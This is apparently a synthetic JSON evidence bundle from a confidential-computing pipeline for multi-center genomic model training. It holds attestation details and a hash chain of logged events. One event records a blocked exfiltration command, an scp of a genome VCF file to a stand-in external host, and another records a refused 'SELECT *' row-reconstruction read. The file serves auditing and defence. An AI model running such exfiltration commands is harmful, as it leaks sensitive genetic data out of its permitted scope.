{
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  "slug": "research",
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  "generated_at": "2026-11-09T00:00:00Z",
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    "purpose": "Multi-center genomic model training",
    "owner": "Biobank Data Access Committee",
    "reviewer": "DPO / Multi-party DAC",
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      "variant_id",
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    "retention": "0 days raw; model update retained 90 days"
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    "detail": "CPU and GPU reports verified · report_data binds the per-site contract hash and training digest",
    "verified": true
  },
  "execution_hash_chain": [
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      "seq": "001",
      "type": "CONTRACT",
      "detail": "Pipeline Contract PC-RES-2026-11 verified against the multi-party DAC signature.",
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      "seq": "002",
      "type": "ATTEST",
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      "seq": "003",
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      "seq": "004",
      "type": "OUTPUT",
      "detail": "Signed model update released: encrypted gradient delta + metrics only.",
      "hash": "0bfa69e7896e41f3ae3e31d85d7d9edc5f037c01c5f68ca840945bdd98963bae"
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    {
      "seq": "005",
      "type": "BLOCKED",
      "detail": "Out-of-scope read refused: SELECT * row reconstruction.",
      "hash": "f93a58cda9caf523bbe8ee4b3168cc035aefab0f55de12e422ed0be457e9ea3e"
    },
    {
      "seq": "006",
      "type": "BLOCKED",
      "detail": "Egress blocked: scp /data/genome.vcf https://external.example.",
      "hash": "44bcd2710972f157de155bfc34f7509c4f1d4d8ea84ae7876661e08d66a23817"
    },
    {
      "seq": "007",
      "type": "SEALED",
      "detail": "Evidence bundle sealed; hash chain head signed by the TEE.",
      "hash": "3af27d540c97cebaf9b383f25e36dda404357f19d1f4bfd8efe95537162eb370"
    }
  ],
  "files": [
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      "bytes": 3728,
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  "note": "Synthetic demonstration bundle. No customer data is included."
}
